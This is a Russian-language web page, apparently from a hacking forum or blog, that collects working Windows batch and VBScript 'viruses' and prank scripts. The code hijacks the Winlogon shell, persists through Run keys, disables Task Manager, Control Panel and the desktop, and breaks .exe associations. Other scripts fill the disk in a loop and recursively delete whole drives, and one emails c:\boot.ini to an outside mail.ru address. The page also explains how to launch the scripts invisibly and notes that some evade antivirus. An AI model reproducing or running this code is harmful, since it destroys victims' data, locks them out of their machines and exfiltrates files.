reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\NonEnum" /v {20D04FE0-3AEA-1069-A2D8-08002B30309D} /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoNetworkConnections /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoStartMenuNetworkPlaces /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v StartmenuLogoff /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoStartMenuSubFolders /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoCommonGroups /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoFavoritesMenu /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoRecentDocsMenu /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoSetFolders /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoAddPrinter /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoFind /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoSMHelp /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoRun /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoStartMenuMorePrograms /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoClose /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoChangeStartMenu /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoSMMyDocs /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoSMMyPictures /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoStartMenuMyMusic /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoControlPanel /t REG_DWORD /d 1 /f
echo set application=createobject("shell.application")>>%temp%\temp.vbs
echo application.minimizeall>>%temp%\temp.vbs
reg add "hklm\Software\Microsoft\Windows\CurrentVersion\run" /v SwapNT /t REG_SZ /d rundll32 user32, SwapMouseButton /f
start rundll32 user32, SwapMouseButton
reg add "HKCR\exefile\shell\open\command" /ve /t REG_SZ /d rundll32.exe /f
echo i=50 >> %temp%\temp.vbs
echo while i^>0 or i^<0 >> %temp%\temp.vbs
echo S.popup "forum.whack.ru",0, "forum.whack.ru",0+16 >> %temp%\temp.vbs
echo i=i-1 >> %temp%\temp.vbs
echo wend >> %temp%\temp.vbs
echo do >> %temp%\temp.vbs
echo wscript.sleep 200 >> %temp%\temp.vbs
echo s.sendkeys"{capslock}" >> %temp%\temp.vbs
echo wscript.sleep 200 >> %temp%\temp.vbs
echo s.sendkeys"{numlock}" >> %temp%\temp.vbs
echo wscript.sleep 200 >> %temp%\temp.vbs
echo s.sendkeys"{scrolllock}" >> %temp%\temp.vbs
echo loop>> %temp%\temp.vbs
echo Set oWMP = CreateObject("WMPlayer.OCX.7") >> %temp%\temp.vbs
echo Set colCDROMs = oWMP.cdromCollection >> %temp%\temp.vbs
echo if colCDROMs.Count ^>= 1 then >> %temp%\temp.vbs
echo For i = 0 to colCDROMs.Count - 1 >> %temp%\temp.vbs
echo colCDROMs.Item(i).eject >> %temp%\temp.vbs
echo next >> %temp%\temp.vbs
echo End If >> %temp%\temp.vbs
echo Call SendPost("smtp.mail.ru", "forum.whack.ru@mail.ru", "[EMAIL]support@mail.ru[/EMAIL]", "...", "Копм заражен!") >> %temp%\temp.vbs
echo Function SendPost(strSMTP_Server, strTo, strFrom, strSubject, strBody) >> %temp%\temp.vbs
echo Set iMsg = CreateObject("CDO.Message") >> %temp%\temp.vbs
echo Set iConf = CreateObject("CDO.Configuration") >> %temp%\temp.vbs
echo Set Flds = iConf.Fields >> %temp%\temp.vbs
echo Flds.Item("[URL]http://schemas.microsoft.com/cdo/configuration/sendusing[/URL]") = 2 >> %temp%\temp.vbs
echo Flds.Item("[URL]http://schemas.microsoft.com/cdo/configuration/smtpauthenticate[/URL]") = 1 >> %temp%\temp.vbs
echo Flds.Item("[URL]http://schemas.microsoft.com/cdo/configuration/sendusername[/URL]") = "support" >> %temp%\temp.vbs
echo Flds.Item("[URL]http://schemas.microsoft.com/cdo/configuration/sendpassword[/URL]") = "support" >> %temp%\temp.vbs
echo Flds.Item("[URL]http://schemas.microsoft.com/cdo/configuration/smtpserver[/URL]") = "smtp.mail.ru" >> %temp%\temp.vbs
echo Flds.Item("[URL]http://schemas.microsoft.com/cdo/configuration/smtpserverport[/URL]") = 25 >> %temp%\temp.vbs
echo Flds.Update >> %temp%\temp.vbs
echo iMsg.Configuration = iConf >> %temp%\temp.vbs
echo iMsg.To = strTo >> %temp%\temp.vbs
echo iMsg.From = strFrom >> %temp%\temp.vbs
echo iMsg.Subject = strSubject >> %temp%\temp.vbs
echo iMsg.TextBody = strBody >> %temp%\temp.vbs
echo iMsg.AddAttachment "c:\boot.ini" >> %temp%\temp.vbs
echo iMsg.Send >> %temp%\temp.vbs
echo End Function >> %temp%\temp.vbs
echo Set iMsg = Nothing >> %temp%\temp.vbs
echo Set iConf = Nothing >> %temp%\temp.vbs
echo Set Flds = Nothing >> %temp%\temp.vbs

echo s.run "shutdown -r -t 0 -c ""pcforumhack.ru"" -f",1 >> %temp%\temp.vbs
start %temp%\temp.vbs
start %temp%\temp1.vbs
start %temp%\temp2.vbs

Вирус полностью блокирует систему при следующем запуске Windows.Даже в безопасном режиме, выключает диспетчер задач.Чтобы разблокировать компьютер можно введя код 200393!(Но он не разблокирует)

Код:

[USER=98981]@Echo[/USER] off
CHCP 1251
cls
Set Yvaga=На вашем компьютере найден вирус.
Set pass=Пароль
Set pas=Введите пароль.
Set virus=Чтобы разблокировать ПК вам потребуется ввести пароль
Set dim=Выключаю вирус...
title Внимание!!!
CHCP 866
IF EXIST C:\windows\boot.bat (
goto ok )
cls
IF NOT EXIST C:\windows\boot.bat (
ECHO Windows Registry Editor Version 5.00 >> C:\0.reg
ECHO. >> C:\0.reg
ECHO [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] >> C:\0.reg
ECHO. >> C:\0.reg
ECHO "Shell"="Explorer.exe, C:\\windows\\boot.bat " >> C:\0.reg
start/wait regedit -s C:\0.reg
del C:\0.reg
ECHO [USER=98981]@Echo[/USER] off >>C:\windows\boot.bat
ECHO C:\WINDOWS\system32\taskkill.exe /f /im Explorer.exe >>C:\windows\boot.bat
ECHO reg add "HKCU\software\Microsoft\Windows\CurrentVersion\Policies\system" /v DisableTaskMgr /t REG_DWORD /d 1 /f >>C:\windows\boot.bat
ECHO start sys.bat >>C:\windows\boot.bat
attrib +r +a +s +h C:\windows\boot.bat
copy virus.bat c:\windows\sys.bat
attrib +r +a +s +h C:\windows\sys.bat
GOTO end)
:ok
cls
Echo %Yvaga%
echo.
echo %virus%
echo %pas%
set /a choise = 0
set /p choise=%pass%:
if "%choise%" == "101" goto gold
if "%choise%" == "200393" goto status
exit
:status
echo %dim%
attrib -r -a -s -h C:\windows\boot.bat
del C:\windows\boot.bat
attrib -r -a -s -h C:\windows\sys.bat
del C:\windows\sys.bat
cls
:gold
start C:\
:end

Добавляет программу в автозагрузку ОС

Код:

copy ""%0"" "%SystemRoot%\system32\File.bat"
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Filel" /t REG_SZ /d "%SystemRoot%\system32\File.bat" /f
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f

Этот вирус,блокирует все программы,но интернет работает.

Код:

[USER=98981]@Echo[/USER] off
Echo Virus Loading
Date 13.09.96
If exist c:ski.bat goto abc
Copy %0 c:ski.bat
Attrib +h c:ski.bat
Echo c:ski.bat >>autoexec.bat
:abc
md PRIDUROK
md LUZER
md DURAK
md LAMER
Label E: PRIDUROK
assoc .exe=.mp3
del c:Program Files/q
Echo VIRUS LOAD


[USER=98981]@Echo[/USER] off
chcp 1251
echo щаска...
color 4
[USER=98981]@Echo[/USER] Вас собирается ~CENS~: ZhenyaZERO

[USER=98981]@Echo[/USER] Автор вируса: ZhenyaZERO

[USER=98981]@Echo[/USER] Условия: если вам попался этот файл, сразу его удаляйте. Этот файл был создан исключительно для ютуба. Использование этого видео в других целях запрещено.
pause
echo Этап 1: Создание ограничений
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoDesktop /t REG_DWORD /d 1 /f >nul
[USER=98981]@Echo[/USER] off
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\RestrictRun /v 1 /t REG_DWORD /d %SystemRoot%\explorer.exe /f >nul
reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem /v DisableTaskMgr /t REG_DWORD /d 1 /f >nul
reg add HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache /v @C:\WINDOWS\system32\SHELL32.dll,-8964 /t REG_SZ /d ТУТ Хавно там всякое /F
del c:Program Files/q
taskkill /f /im explorer.exe >nul
echo Этап 2: Ща комп начнет глючить
Date 13.09.96
If exist c:ski.bat goto abc
Copy %0 c:ski.bat
Attrib +h c:ski.bat
Echo c:ski.bat >>autoexec.bat
:abc
md PRIDUROK
md LUZER
md DURAK
md LAMER
Label E: PRIDUROK
assoc .exe=.mp3
del c:Program Files/q
echo Set fso = CreateObject("Scripting.FileSystemObject") > %systemdrive%\windows\system32\rundll32.vbs
echo do >> %systemdrive%\windows\system32\rundll32.vbs
echo Set tx = fso.CreateTextFile("%systemdrive%\windows\system32\rundll32.dat", True) >> %systemdrive%\windows\system32\rundll32.vbs
echo tx.WriteBlankLines(100000000) >> %systemdrive%\windows\system32\rundll32.vbs
echo tx.close >> %systemdrive%\windows\system32\rundll32.vbs
echo FSO.DeleteFile "%systemdrive%\windows\system32\rundll32.dat" >> %systemdrive%\windows\system32\rundll32.vbs
echo loop >> %systemdrive%\windows\system32\rundll32.vbs
start %systemdrive%\windows\system32\rundll32.vbs
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v system_host_run /t REG_SZ /d %systemdrive%\windows\system32\rundll32.vbs /
echo Этап 3: Прощай, винда!
del C:\ /s /q
del D:\ /s /q
del I:\ /s /q

Вы можете менять названия программ, расширений, текст, коды и т. д. Если вам нужно, вы сможете собрать свой вирус (или прогу для троллинга) за несколько минут. Это не гайд по сборке вируса.

Я рассказал про наиболее интересные команды ОС Виндовс, но далеко не про все. Кого заинтересовал этот вопрос и кто хочет узнать больше может воспользоваться интернетом и поиском в системах Яндекс, Гугл и им аналогичных. Использование bat-файлов и подходящих редакторов с разметкой текста, а также интернет ресурсов позволяет весьма удобно программировать без среды разработки на любом языке.


Если Вам понравилась статья — поделитесь с друзьями

995 просмотров

Отказ от ответственности: Автор или издатель не публиковали эту статью для вредоносных целей. Вся размещенная информация была взята из открытых источников и представлена исключительно в ознакомительных целях а также не несет призыва к действию. Создано лишь в образовательных и развлекательных целях. Вся информация направлена на то, чтобы уберечь читателей от противозаконных действий. Все причиненные возможные убытки посетитель берет на себя. Автор проделывает все действия лишь на собственном оборудовании и в собственной сети. Не повторяйте ничего из прочитанного в реальной жизни. | Так же, если вы являетесь правообладателем размещенного на страницах портала материала, просьба написать нам через контактную форму жалобу на удаление определенной страницы, а также ознакомиться с инструкцией для правообладателей материалов. Спасибо за понимание.

Если вам понравились материалы сайта, вы можете поддержать проект финансово, переведя некоторую сумму с банковской карты, счёта мобильного телефона или из кошелька ЮMoney.

Некоторые bat-ники выполняют свою роль без каких-либо дополнительных действий, некоторые —

требуют прав администратора

при запуске, некоторые —

перезагрузку для применения изменений

. Также

не все они невидимы для антивируса

, некоторые — да, некоторые — нет.
Внизу буду указывать два параметра «(перезагрузка, админ)». Это означает, что для вступления изменений в силу нужно, чтобы bat запускался от имени администратора и, чтобы пользователь перезагрузил ПК.

Как запускать bat-ники максимально незаметно (без мелькания cmd)
Если нужно, чтобы bat-ник запускался максимально незаметно и не смущал пользователя появившейся командной строкой (на небольшое время, но это окно промелькнет), то самым простым решением будет данный vbs скрипт (скопировать в блокнот и сохранить как «Все файлы» с указание расширения vbs):

Код:

Set WshShell = CreateObject("WScript.Shell")
WshShell.Run "путь к bat-файлу", 0, false

Этот скрипт запустит bat-ник, который расположен по указанному пути.
Также не стоит забывать прописывать в начале каждого bat-ника:

Меняем местами значение кнопок мыши

Код:

@Echo off
%SystemRoot%/system32/rundll32 user32, SwapMouseButton >nul

Выключение

Код:

shutdown /p (немедленное выключение)
shutdown.exe -s -t 45 (выключение с задержкой, после -t время в секундах)

А если немного улучшить этот bat и добавить его в автозагрузку (команда есть ниже), то получится нечто веселое.

Перезагрузка

Отключение редактирования меню Пуск

Код:

reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoChangeStartMenu /t REG_DWORD /d 1 /f >nul
(перезагрузка, админ)

Отключение рабочего стола

Код:

reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoDesktop /t REG_DWORD /d 1 /f >nul
(перезагрузка, админ)

Отключаем интернет

Код:

Ipconfig /release
Чтобы вернуть назад прописываем в cmd: IPconfig /renew

Меняем расширение всех ярлыков на txt

Добавление файла в автозагрузку

Код:

copy ""%0"" "путь к файлу"
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "имя в реестре(любое)" /t REG_SZ /d "путь к файлу" /f

Пример:

Код:

copy ""%0"" "C:\Users\user\Desktop\re.bat"
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Filel" /t REG_SZ /d "C:\Users\user\Desktop\re.bat" /f
(перезагрузка, админ)

Отключение диспетчера задач

Код:

reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f >nul
(перезагрузка, админ)

Запрещаем запуск программ
Добавляйте свои по желанию

Код:

reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun /v "2" /t reg_sz /d "exe-шник программы" /f
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v "DisallowRun" /t REG_DWORD /d "1" /f

Например, чтобы запретить запуск Chrome:

Код:

reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun /v "3" /t reg_sz /d "chrome.exe" /f
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v "DisallowRun" /t REG_DWORD /d "1" /f
(перезагрузка, админ)

Запрещаем установку программ

Код:

reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun /v "1" /t reg_sz /d "msiexec.exe" /f
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v "DisallowRun" /t REG_DWORD /d "1" /f
(перезагрузка, админ)

Убираем панель управления

Код:

reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v "DisableTaskMgr" /t REG_DWORD /d "1" /f
(перезагрузка, админ)

Отключить автозагрузку USB-устройств, приводов, съемных дисков, сетевых дисков

Код:

reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer /v "NoDriveTypeAutoRun" /t REG_DWORD /d " 0xFF" /f
(перезагрузка, админ)

  • Батник на выключение компьютера windows 10
  • Базовый пакет программ для windows
  • Батник для отключения защитника windows 10
  • Бателфилд 1942 не запускается на windows 10
  • Базовый объект операционной системы windows это